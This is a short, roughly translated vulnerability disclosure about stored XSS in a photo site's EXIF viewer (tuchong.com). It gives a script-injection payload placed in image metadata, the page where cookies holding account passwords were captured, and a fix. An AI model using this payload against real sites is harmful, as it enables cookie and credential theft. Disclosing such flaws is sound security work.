Figure XSS + Cookie leakage caused by account password Leakage

Stored XSS + Cookie leakage causes account Leakage
The Information Filtering in EXIF is not strict ~
The javascript tag is filtered, and the script is not filtered.
 
Let's construct
</A> </DD> <script> document. write (' '); </script>
 
 
 
 
 
Okay ~
Access
Http://tuchong.com/278719/3383088/exif/
I can catch the cookie here.
 
It is surprising that the account and password are stored in cookies...
 
So I can catch the account and password here...
Proof of vulnerability:

Http://tuchong.com/278719/3383088/exif/
Solution:

EXIF also needs to be filtered ~
Including your EXIF Viewer